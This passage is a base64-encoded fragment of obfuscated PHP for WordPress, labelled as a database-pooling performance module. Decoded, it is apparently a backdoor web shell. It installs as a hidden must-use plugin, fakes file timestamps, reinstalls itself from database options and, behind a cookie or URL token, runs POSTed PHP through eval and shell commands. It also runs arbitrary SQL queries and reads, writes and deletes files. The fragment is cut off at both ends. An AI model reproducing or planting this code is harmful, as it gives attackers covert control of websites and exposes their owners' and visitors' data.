ByZW5hbWUoJF9fb3B0XzE4OTYsICRfd3AzZjE2NGM2KSkgew0KICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIEBvcGNhY2hlX2ludmFsaWRhdGUoJF93cDNmMTY0YzYsIHRydWUpOw0KICAgICAgaWYgKCRfeDcwMjUxNGU4ICYmICRfZjA1YzRiKSBAdG91Y2goJF93cDNmMTY0YzYsICRfZjA1YzRiLCAkX2YwNWM0Yik7DQogICAgICBAdW5saW5rKCRfYzlmNjIpOw0KICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICB9DQogIEB1bmxpbmsoJF9fb3B0XzE4OTYpOw0KICBpZiAoZmlsZV9leGlzdHMoJF9jOWY2MikpIHsgQGNvcHkoJF9jOWY2MiwgJF93cDNmMTY0YzYpOyBAdW5saW5rKCRfYzlmNjIpOyB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfd3A1NGIwKCRfYzRkNTc0LCAkX3g1MTMwYzFiYSkgew0KICAkX2NiZTM0MmRlZiA9ICcnOw0KICAkX3ZmNGJiZjMgPSBzdHJsZW4oJF94NTEzMGMxYmEpOw0KICBmb3IgKCRfYzVkODhkID0gMDsgJF9jNWQ4OGQgPCBzdHJsZW4oJF9jNGQ1NzQpOyAkX2M1ZDg4ZCsrKSB7DQogICAgJF9jYmUzNDJkZWYgLj0gY2hyKG9yZCgkX2M0ZDU3NFskX2M1ZDg4ZF0pIF4gb3JkKCRfeDUxMzBjMWJhWyRfYzVkODhkICUgJF92ZjRiYmYzXSkpOw0KICB9DQogIHJldHVybiAoJ2JhJy4nc2U2Jy4nNF8nLidlbicuJ2NvZCcuJ2UnKSgkX2NiZTM0MmRlZik7DQp9DQoKZnVuY3Rpb24gX3dwOTViMCgkX2M0ZDU3NCwgJF94NTEzMGMxYmEpIHsNCiAgJF9jYTJkMjggPSAoJ2JhcycuJ2U2Jy4nNF8nLidkZWNvJy4nZGUnKSgkX2M0ZDU3NCk7DQogIGlmICgkX2NhMmQyOCA9PT0gZmFsc2UpIHJldHVybiAnJzsNCiAgJF9jYmUzNDJkZWYgPSAnJzsNCiAgJF92ZjRiYmYzID0gc3RybGVuKCRfeDUxMzBjMWJhKTsNCiAgZm9yICgkX2M1ZDg4ZCA9IDA7ICRfYzVkODhkIDwgc3RybGVuKCRfY2EyZDI4KTsgJF9jNWQ4OGQrKykgew0KICAgICRfY2JlMzQyZGVmIC49IGNocihvcmQoJF9jYTJkMjhbJF9jNWQ4OGRdKSBeIG9yZCgkX3g1MTMwYzFiYVskX2M1ZDg4ZCAlICRfdmY0YmJmM10pKTsNCiAgfQ0KICByZXR1cm4gJF9jYmUzNDJkZWY7DQp9DQoKZnVuY3Rpb24gX3dwNjIwOTUoKSB7DQogIHJldHVybiAoZGVmaW5lZCgoY2hyKDg3KS5jaHIoMTc1IF4gMHhmZikuY2hyKDc3KS5jaHIoODUpLiJceDVmIi4iXHg1MCIuY2hyKDE3OSBeIDB4ZmYpLmNocig4NSkuY2hyKDE4NCBeIDB4ZmYpLiJceDQ5Ii5jaHIoMTc3IF4gMHhmZikuY2hyKDE2MCBeIDB4ZmYpLmNocig2OCkuIlx4NDkiLmNocig4MikpKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJykgLiAnLycgLiAkR0xPQkFMU1snd3BfaG9va18wMmM0J107DQp9DQoKZnVuY3Rpb24gd3BfaG9va19jMGQ2KCRfd3AzZjE2NGM2LCAkX19wcm9jX2IzYjkgPSBudWxsKSB7DQogIGlmICghJF9fcHJvY19iM2I5KSAkX19wcm9jX2IzYjkgPSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJzsNCiAgJF93cGFhZTQ1NDggPSBAZmlsZW10aW1lKCRfX3Byb2NfYjNiOSk7DQogIGlmICgkX3dwYWFlNDU0OCkgQHRvdWNoKCRfd3AzZjE2NGM2LCAkX3dwYWFlNDU0OCwgJF93cGFhZTQ1NDgpOw0KfQ0KCmZ1bmN0aW9uIF9jYTM1NDdhMigkX3FlMDZmMTM3Yykgew0KICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogIGlmIChmaWxlX2V4aXN0cygkX3dwYWFlNCkpIHJldHVybiB0cnVlOw0KICAkX3dwMWYzZjg0ZiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgaWYgKCRfd3AxZjNmODRmKSB7DQogICAgJF93cDZjYTMwMjcgPSAoJ2JhJy4nc2U2Jy4nNF8nLidkZWNvJy4nZGUnKSgkX3dwMWYzZjg0Zik7DQogICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cnBvcygkX3dwNmNhMzAyNywgKGNocigxOTUgXiAweGZmKS5jaHIoMTkyIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTEyKSkpID09PSAwICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgIEBta2RpcihkaXJuYW1lKCRfd3BhYWU0KSwgMDc1NSwgdHJ1ZSk7DQogICAgICByZXR1cm4gX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgfQ0KICB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfbTAxOTgwMmYoJF9jYmNhMjc3ZDcsICRfbTBlZGYpIHsNCiAgZ2xvYmFsICR3cGRiOw0KICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuIGZhbHNlOw0KICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogIGlmIChmaWxlX2V4aXN0cygkX3dwYWFlNCkpIHJldHVybiB0cnVlOw0KICAkd3BfcXVlcnlfYTRlZSA9ICR3cGRiLT57JF9jYmNhMjc3ZDd9Ow0KICBpZiAoISR3cF9xdWVyeV9hNGVlKSByZXR1cm4gZmFsc2U7DQogICRfd3AxZjNmODRmID0gJHdwZGItPmdldF92YXIoJHdwZGItPnByZXBhcmUoIlNFTEVDVCBtZXRhX3ZhbHVlIEZST00geyR3cF9xdWVyeV9hNGVlfSBXSEVSRSBtZXRhX2tleSA9ICVzIExJTUlUIDEiLCAkX20wZWRmKSk7DQogIGlmICgkX3dwMWYzZjg0Zikgew0KICAgICRfd3A2Y2EzMDI3ID0gKCdiYXMnLidlNjRfJy4nZGUnLidjbycuJ2RlJykoJF93cDFmM2Y4NGYpOw0KICAgIGlmICgkX3dwNmNhMzAyNyAmJiBzdHJwb3MoJF93cDZjYTMwMjcsICc8P3BocCcpID09PSAwICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgIEBta2RpcihkaXJuYW1lKCRfd3BhYWU0KSwgMDc1NSwgdHJ1ZSk7DQogICAgICByZXR1cm4gX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgfQ0KICB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfX29wdF81MWM1KCRuLC4uLiRhKXskcj1jYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7cmV0dXJuICRyO30KZnVuY3Rpb24gX2NlZmU2NzIoJG4sLi4uJGEpeyRyPWNhbGxfdXNlcl9mdW5jX2FycmF5KCRuLCRhKTtyZXR1cm4gJHI7fQpmdW5jdGlvbiBfaTRmNzg4N2IoJG4sLi4uJGEpe3JldHVybiBjYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7fQpmdW5jdGlvbiBfZjZmNTY1YigkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CmZ1bmN0aW9uIHdwX3Rva2VuXzg4YzkoJG4peyRhPWFycmF5X3NsaWNlKGZ1bmNfZ2V0X2FyZ3MoKSwxKTtyZXR1cm4gJG4oLi4uJGEpO30KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzgyRjAnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfODJGMCcsNDU5OCk7CgppZighZGVmaW5lZCgnV1BfUEVSRl9MRVZFTF9DMTZDJykpZGVmaW5lKCdXUF9QRVJGX0xFVkVMX0MxNkMnLDY2MTg0KTsKCi8qKgoqIE1hbmFnZXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb29saW5nIGFuZCBvcHRpbWl6YXRpb24KKgoqIEBzaW5jZSA0LjMuMzUKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokd3Bfc2Vzc2lvbl8yOTgxID0gZGVmaW5lZCgnV1BfQ0FDSEUnKSA/IDEgOiAwOwokX2NmZ2Y5YzAgPSBQSFBfSU5UX1NJWkUgPT09IDggPyAneDY0JyA6ICd4ODYnOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogIHRyeSB7DQogICAgJF93cGRkYzYzMCA9ICRHTE9CQUxTWydfd3A0Mjc5YTBiJ107DQogICAgJF93cDY2YTMwMCA9IGZhbHNlOw0KCiAgICBpZiAoaXNzZXQoJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF9faG9va181NTRkPWFycmF5KDIwLDcyLDExMSw4NCwyLDkxLDg4LDgyLDYwLDc2LDk1LDkyLDYsODYpOyRfd3BmZDA2Yz0nYzgwNyc7JHdwX3Rva2VuX2IwMzA9Jyc7Zm9yKCR3cF9hY3Rpb25fNGYxZT0wOyR3cF9hY3Rpb25fNGYxZTxjb3VudCgkX19ob29rXzU1NGQpOyR3cF9hY3Rpb25fNGYxZSsrKSR3cF90b2tlbl9iMDMwLj1jaHIoJF9faG9va181NTRkWyR3cF9hY3Rpb25fNGYxZV1eb3JkKCRfd3BmZDA2Y1skd3BfYWN0aW9uXzRmMWUlc3RybGVuKCRfd3BmZDA2YyldKSk7cmV0dXJuICR3cF90b2tlbl9iMDMwO30pKCldKSkgew0KICAgICAgJF9jYWU4YjM3ID0gZmxvb3IodGltZSgpIC8gMzYwMCk7DQogICAgICAkX3dwMGY2OSA9IGhhc2goIlx4NzNceDY4XHg2MVx4MzJceDM1XHgzNiIsICRfd3BkZGM2MzAgLiAkX2NhZThiMzcpOw0KICAgICAgJF9jYTA4ZCA9IGhhc2goJ3NoYTI1NicsICRfd3BkZGM2MzAgLiAoJF9jYWU4YjM3IC0gMSkpOw0KICAgICAgaWYgKCRfQ09PS0lFWyd3cF9jYWNoZV90b2tlbiddID09PSAkX3dwMGY2OSB8fCAkX0NPT0tJRVsoZnVuY3Rpb24oKXskX2NmZ2JkN2FkPWFycmF5KDY0LDY4LDEwNyw4Nyw4Myw1LDk0LDgyLDEwNCw2NCw5MSw5NSw4Nyw4KTskd3Bfb3B0aW9uX2M2ZjI9Jzc0NDQyZjY3JzskX3MxODc1YjEzOT0nJztmb3IoJHdwX2hvb2tfOTdkZD0wOyR3cF9ob29rXzk3ZGQ8Y291bnQoJF9jZmdiZDdhZCk7JHdwX2hvb2tfOTdkZCsrKSRfczE4NzViMTM5Lj1jaHIoJF9jZmdiZDdhZFskd3BfaG9va185N2RkXV5vcmQoJHdwX29wdGlvbl9jNmYyWyR3cF9ob29rXzk3ZGQlc3RybGVuKCR3cF9vcHRpb25fYzZmMildKSk7cmV0dXJuICRfczE4NzViMTM5O30pKCldID09PSAkX2NhMDhkKSB7DQogICAgICAgICRfd3A2NmEzMDAgPSB0cnVlOw0KICAgICAgfQ0KICAgIH0NCgogICAgJF9sZGM2ODIgPSAkR0xPQkFMU1snX3dwM2FmZSddOw0KICAgIGlmICghJF93cDY2YTMwMCAmJiBpc3NldCgkX0dFVFskX2xkYzY4Ml0pICYmICRfR0VUWyRfbGRjNjgyXSA9PT0gc3Vic3RyKCRfd3BkZGM2MzAsIDAsIDE2KSkgew0KICAgICAgJF93cDY2YTMwMCA9IHRydWU7DQogICAgfQ0KCiAgICBpZiAoISRfd3A2NmEzMDApIHJldHVybjsNCgogICAgJF9sZDRiMDQgPSBpc3NldCgkX0dFVFsiXHg2ZFx4NmZceDY0XHg2NSJdKSA/ICRfR0VUWydtb2RlJ10gOiAoaXNzZXQoJF9QT1NUWyJceDZkXHg2Zlx4NjRceDY1Il0pID8gJF9QT1NUWydtb2RlJ10gOiAnJyk7DQogICAgaWYgKGVtcHR5KCRfbGQ0YjA0KSkgJF9sZDRiMDQgPSAncyc7DQoKICAgIHN3aXRjaCAoJF9sZDRiMDQpIHsNCiAgICAgIGNhc2UgJ3MnOg0KICAgICAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgICAgICRfd3A0ZjU3ID0gYXJyYXkoDQogICAgICAgICAgJ29rJyA9PiB0cnVlLA0KICAgICAgICAgICd2JyA9PiAyLA0KICAgICAgICAgICdwaHAnID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICd3cCcgPT4gZ2V0X2Jsb2dpbmZvKChmdW5jdGlvbigpeyRfd3AwNzUxPWFycmF5KDY2LDg2LDY1LDE4LDgwLDE0LDkwKTskX2NhMWFjPSc0MzNhOWEnOyR3cF9ob29rX2RiMDI9Jyc7Zm9yKCRfZjU1MTY9MDskX2Y1NTE2PGNvdW50KCRfd3AwNzUxKTskX2Y1NTE2KyspJHdwX2hvb2tfZGIwMi49Y2hyKCRfd3AwNzUxWyRfZjU1MTZdXm9yZCgkX2NhMWFjWyRfZjU1MTYlc3RybGVuKCRfY2ExYWMpXSkpO3JldHVybiAkd3BfaG9va19kYjAyO30pKCkpLA0KICAgICAgICAgICdtdScgPT4gZmlsZV9leGlzdHMoJF93cGFhZTQpLA0KICAgICAgICAgICdzaXplJyA9PiBmaWxlX2V4aXN0cygkX3dwYWFlNCkgPyBmaWxlc2l6ZSgkX3dwYWFlNCkgOiAwLA0KICAgICAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICAgICApOw0KICAgICAgICBoZWFkZXIoKGNocigxODggXiAweGZmKS5jaHIoMTExKS5jaHIoMTEwKS4iXHg3NCIuY2hyKDEwMSkuY2hyKDExMCkuIlx4NzQiLmNocig0NSkuIlx4NTQiLmNocigxMjEpLiJceDcwIi5jaHIoMTU0IF4gMHhmZikuIlx4M2EiLiJceDIwIi5jaHIoOTcpLmNocigxMTIpLiJceDcwIi4iXHg2YyIuY2hyKDEwNSkuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi5jaHIoMTM5IF4gMHhmZikuIlx4NjkiLmNocigxNDQgXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDQ3KS5jaHIoMTA2KS5jaHIoMTE1KS5jaHIoMTExKS5jaHIoMTQ1IF4gMHhmZikpKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX3dwNGY1Nyk7DQogICAgICAgIGV4aXQ7DQoKICAgICAgY2FzZSAiXHg3MFx4NjhceDcwIjoNCiAgICAgICAgJF9tY2Y5ZGZjNjUgPSBpc3NldCgkX1BPU1RbJ2NvZGUnXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjb2RlJ10pIDogJyc7DQogICAgICAgIGlmIChlbXB0eSgkX21jZjlkZmM2NSkpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+ICJceDZlXHg2Zlx4MjBceDYzXHg2Zlx4NjRceDY1IikpOyBleGl0OyB9DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgZXZhbCgkX21jZjlkZmM2NSk7DQogICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX2NhY2hlXzBmNWMpIHsNCiAgICAgICAgICBlY2hvICdFcnJvcjogJyAuICR3cF9jYWNoZV8wZjVjLT5nZXRNZXNzYWdlKCk7DQogICAgICAgIH0NCiAgICAgICAgJF9fcHJvY19iYmJkID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgIGhlYWRlcigoIlx4NDMiLmNocigxNDQgXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDExNikuY2hyKDEwMSkuIlx4NmUiLmNocigxMzkgXiAweGZmKS5jaHIoMjEwIF4gMHhmZikuY2hyKDE3MSBeIDB4ZmYpLmNocigxMzQgXiAweGZmKS5jaHIoMTEyKS5jaHIoMTAxKS5jaHIoNTgpLiJceDIwIi5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzUgXiAweGZmKS4iXHg3NCIuY2hyKDQ3KS4iXHg3MCIuIlx4NmMiLmNocigxNTggXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuIlx4NmUiKSk7DQogICAgICAgIGVjaG8gJF9fcHJvY19iYmJkOw0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgIlx4NzNceDY4XHg2NVx4NmNceDZjIjoNCiAgICAgICAgJHdwX3F1ZXJ5X2Y1OTMgPSBpc3NldCgkX1BPU1RbKGNocigxNTYgXiAweGZmKS4iXHg2ZCIuY2hyKDEwMCkpXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCiAgICAgICAgaWYgKGVtcHR5KCR3cF9xdWVyeV9mNTkzKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfaTJkZjBhNjdkPWFycmF5KDAsNjgsMjMsOTMsMjMpOyRfc2YzMDc4NWMxPSdlNmUyZTQnOyRfb2Y5Yzk9Jyc7Zm9yKCR3cF9tZXRhX2MyYmU9MDskd3BfbWV0YV9jMmJlPGNvdW50KCRfaTJkZjBhNjdkKTskd3BfbWV0YV9jMmJlKyspJF9vZjljOS49Y2hyKCRfaTJkZjBhNjdkWyR3cF9tZXRhX2MyYmVdXm9yZCgkX3NmMzA3ODVjMVskd3BfbWV0YV9jMmJlJXN0cmxlbigkX3NmMzA3ODVjMSldKSk7cmV0dXJuICRfb2Y5Yzk7fSkoKSA9PiAoIlx4NmUiLmNocigxMTEpLmNocigyMjMgXiAweGZmKS4iXHg2MyIuIlx4NmQiLiJceDY0IikpKTsgZXhpdDsgfQ0KICAgICAgICAkX19wcm9jX2JiYmQgPSAnJzsNCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskd3BfZmlsdGVyXzBmOTI9YXJyYXkoMjMsMTMsODIsMTQsMTUsMTA1LDg1LDc0LDEsNik7JF9fZGF0YV8wZmYxPSdkZTdiYzYwMic7JF9jNWY0MWUyPScnO2ZvcigkX3dwNWM0NTVhZDg9MDskX3dwNWM0NTVhZDg8Y291bnQoJHdwX2ZpbHRlcl8wZjkyKTskX3dwNWM0NTVhZDgrKykkX2M1ZjQxZTIuPWNocigkd3BfZmlsdGVyXzBmOTJbJF93cDVjNDU1YWQ4XV5vcmQoJF9fZGF0YV8wZmYxWyRfd3A1YzQ1NWFkOCVzdHJsZW4oJF9fZGF0YV8wZmYxKV0pKTtyZXR1cm4gJF9jNWY0MWUyO30pKCkpKSB7DQogICAgICAgICAgJF9fcHJvY19iYmJkID0gQCgnc2hlbCcuJ2xfZScuJ3hlJy4nYycpKCR3cF9xdWVyeV9mNTkzIC4gJyAyPiYxJyk7DQogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGNocigxNTQgXiAweGZmKS5jaHIoMTIwKS5jaHIoMTAxKS4iXHg2MyIpKSkgew0KICAgICAgICAgIEAoJ2V4ZScuJ2MnKSgkd3BfcXVlcnlfZjU5MyAuICcgMj4mMScsICRfYzliZWJlNSk7DQogICAgICAgICAgJF9fcHJvY19iYmJkID0gaW1wbG9kZSgiXG4iLCAkX2M5YmViZTUpOw0KICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKChjaHIoMTQwIF4gMHhmZikuY2hyKDEyMSkuIlx4NzMiLiJceDc0Ii5jaHIoMTU0IF4gMHhmZikuY2hyKDEwOSkpKSkgew0KICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgQCgnc3knLidzdCcuJ2VtJykoJHdwX3F1ZXJ5X2Y1OTMgLiAnIDI+JjEnKTsNCiAgICAgICAgICAkX19wcm9jX2JiYmQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgfQ0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICBlY2hvICRfX3Byb2NfYmJiZDsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlICdkYic6DQogICAgICAgICRfbzE2ODIxYiA9IGlzc2V0KCRfUE9TVFsncXVlcnknXSkgPyAkX1BPU1RbIlx4NzFceDc1XHg2NVx4NzJceDc5Il0gOiAnJzsNCiAgICAgICAgaWYgKGVtcHR5KCRfbzE2ODIxYikpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgoY2hyKDE1NCBeIDB4ZmYpLiJceDcyIi5jaHIoMTQxIF4gMHhmZikuY2hyKDExMSkuIlx4NzIiKSA9PiAiXHg2ZVx4NmZceDIwXHg3MVx4NzVceDY1XHg3Mlx4NzkiKSk7IGV4aXQ7IH0NCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCgiXHg2NSIuY2hyKDE0MSBeIDB4ZmYpLmNocigxMTQpLmNocigxMTEpLiJceDcyIikgPT4gJ25vIHdwZGInKSk7IGV4aXQ7IH0NCiAgICAgICAgJF9jMDdjM2EyZTQgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJF9vMTY4MjFiLCBBUlJBWV9BKTsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg3Mlx4NmZceDc3XHg3MyIgPT4gJF9jMDdjM2EyZTQsICdlcnJvcicgPT4gJHdwZGItPmxhc3RfZXJyb3IpKTsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlIChjaHIoMTAyKS5jaHIoMTA1KS5jaHIoMTQ3IF4gMHhmZikuY2hyKDEwMSkuIlx4NzMiKToNCiAgICAgICAgJF93cDhiMzE4ID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbIlx4NjFceDYzXHg3NFx4NjlceDZmXHg2ZSJdIDogKCJceDZjIi4iXHg2OSIuY2hyKDE0MCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKSk7DQogICAgICAgICRfdDZhMmYgPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9fY2FjaGVfNjIzZD1hcnJheSg3Miw4NywyMyw5MSk7JF9fYnVmXzA4NjQ9Jzg2YzMyY2EnOyRfY2ZmNDI9Jyc7Zm9yKCRfZmEyNzU9MDskX2ZhMjc1PGNvdW50KCRfX2NhY2hlXzYyM2QpOyRfZmEyNzUrKykkX2NmZjQyLj1jaHIoJF9fY2FjaGVfNjIzZFskX2ZhMjc1XV5vcmQoJF9fYnVmXzA4NjRbJF9mYTI3NSVzdHJsZW4oJF9fYnVmXzA4NjQpXSkpO3JldHVybiAkX2NmZjQyO30pKCldIDogQUJTUEFUSDsNCiAgICAgICAgaWYgKCRfd3A4YjMxOCA9PT0gJ2xpc3QnKSB7DQogICAgICAgICAgJF9faW5pdF8yMmJhID0gQHNjYW5kaXIoJF90NmEyZik7DQogICAgICAgICAgJF9xNGM5NjZmID0gYXJyYXkoKTsNCiAgICAgICAgICBpZiAoJF9faW5pdF8yMmJhKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkX19pbml0XzIyYmEgYXMgJF93cDIzYTBjKSB7DQogICAgICAgICAgICAgIGlmICgkX3dwMjNhMGMgPT09ICcuJyB8fCAkX3dwMjNhMGMgPT09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAkX2NmODc2NjgyID0gJF90NmEyZiAuICcvJyAuICRfd3AyM2EwYzsNCiAgICAgICAgICAgICAgJF9xNGM5NjZmW10gPSBhcnJheSgoY2hyKDE0NSBeIDB4ZmYpLmNocig5NykuIlx4NmQiLmNocigxMDEpKSA9PiAkX3dwMjNhMGMsICJceDY0XHg2OVx4NzIiID0+IGlzX2RpcigkX2NmODc2NjgyKSwgIlx4NzNceDY5XHg3YVx4NjUiID0+IGlzX2ZpbGUoJF9jZjg3NjY4MikgPyBmaWxlc2l6ZSgkX2NmODc2NjgyKSA6IDAsICdtdGltZScgPT4gZmlsZW10aW1lKCRfY2Y4NzY2ODIpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgICAgaGVhZGVyKChmdW5jdGlvbigpeyRfdDdiNTQ5PWFycmF5KDExNyw5NCw5Miw2OSw4Myw5NSw3MCwyOCw5OCw3Miw2Niw4NCwxMiwxNyw4Myw2NSw3MCw5Myw5MSw4Miw4Nyw2OSw5MSw5NCw4OCwzMCw4OCw2Niw4OSw5NSk7JF9fbG9hZF8wNmFiPSc2MTIxJzskd3BfYWN0aW9uXzUwZjU9Jyc7Zm9yKCRfX2NhY2hlXzJiMmU9MDskX19jYWNoZV8yYjJlPGNvdW50KCRfdDdiNTQ5KTskX19jYWNoZV8yYjJlKyspJHdwX2FjdGlvbl81MGY1Lj1jaHIoJF90N2I1NDlbJF9fY2FjaGVfMmIyZV1eb3JkKCRfX2xvYWRfMDZhYlskX19jYWNoZV8yYjJlJXN0cmxlbigkX19sb2FkXzA2YWIpXSkpO3JldHVybiAkd3BfYWN0aW9uXzUwZjU7fSkoKSk7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX3E0Yzk2NmYpOw0KICAgICAgICB9IGVsc2VpZiAoJF93cDhiMzE4ID09PSAncmVhZCcpIHsNCiAgICAgICAgICAkX2NhNWE4YmMgPSBAKCdmaScuJ2xlX2cnLidldF8nLidjb24nLid0ZW4nLid0cycpKCRfdDZhMmYpOw0KICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQogICAgICAgICAgZWNobyAkX2NhNWE4YmMgIT09IGZhbHNlID8gJF9jYTVhOGJjIDogKGZ1bmN0aW9uKCl7JF9jOTY1ZWY9YXJyYXkoMTE0LDk4LDEwMSwxMjcsMTAxLDEwLDIzLDgzLDg2LDk0LDg5LDk1LDY3LDE2LDY5LDg1LDg2LDg0KTskX19yZWZfZTg0Zj0nNzA3MCc7JF9fYnVmX2NmZmE9Jyc7Zm9yKCRfX2NmZ18xNjk2PTA7JF9fY2ZnXzE2OTY8Y291bnQoJF9jOTY1ZWYpOyRfX2NmZ18xNjk2KyspJF9fYnVmX2NmZmEuPWNocigkX2M5NjVlZlskX19jZmdfMTY5Nl1eb3JkKCRfX3JlZl9lODRmWyRfX2NmZ18xNjk2JXN0cmxlbigkX19yZWZfZTg0ZildKSk7cmV0dXJuICRfX2J1Zl9jZmZhO30pKCk7DQogICAgICAgIH0gZWxzZWlmICgkX3dwOGIzMTggPT09ICd3cml0ZScpIHsNCiAgICAgICAgICAkX2NhNWE4YmMgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9pOGRiZWVjOD1hcnJheSg4NCw5Miw4NiwyMyw4NCw4LDY3KTskd3Bfc2Vzc2lvbl83Y2MxPSc3MzhjMWYnOyR3cF9tZXRhXzliZmE9Jyc7Zm9yKCRfaDhjNDVmZmFkPTA7JF9oOGM0NWZmYWQ8Y291bnQoJF9pOGRiZWVjOCk7JF9oOGM0NWZmYWQrKykkd3BfbWV0YV85YmZhLj1jaHIoJF9pOGRiZWVjOFskX2g4YzQ1ZmZhZF1eb3JkKCR3cF9zZXNzaW9uXzdjYzFbJF9oOGM0NWZmYWQlc3RybGVuKCR3cF9zZXNzaW9uXzdjYzEpXSkpO3JldHVybiAkd3BfbWV0YV85YmZhO30pKCldKSA/ICRfUE9TVFsnY29udGVudCddIDogJyc7DQogICAgICAgICAgJF9fcmVmXzgwMmQgPSBfbGQzYTk5KCRfdDZhMmYsICRfY2E1YThiYywgMSwgdHJ1ZSk7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+ICRfX3JlZl84MDJkKSk7DQogICAgICAgIH0gZWxzZWlmICgkX3dwOGIzMTggPT09ICdkZWxldGUnKSB7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF90NmEyZikpKTsNCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgKGNocigxNTAgXiAweGZmKS5jaHIoMTEwKS5jaHIoMTUzIF4gMHhmZikuIlx4NmYiKToNCiAgICAgICAgJF93cDRmNTcgPSBhcnJheSgNCiAgICAgICAgICAiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCiAgICAgICAgICAnd3AnID0+IGdldF9ibG9naW5mbygiXHg3Nlx4NjVceDcyXHg3M1x4NjlceDZmXHg2ZSIpLA0KICAgICAgICAgICdvcycgPT4gUEhQX09TLA0KICAgICAgICAgICdzYXBpJyA9PiBwaHBfc2FwaV9uYW1lKCksDQogICAg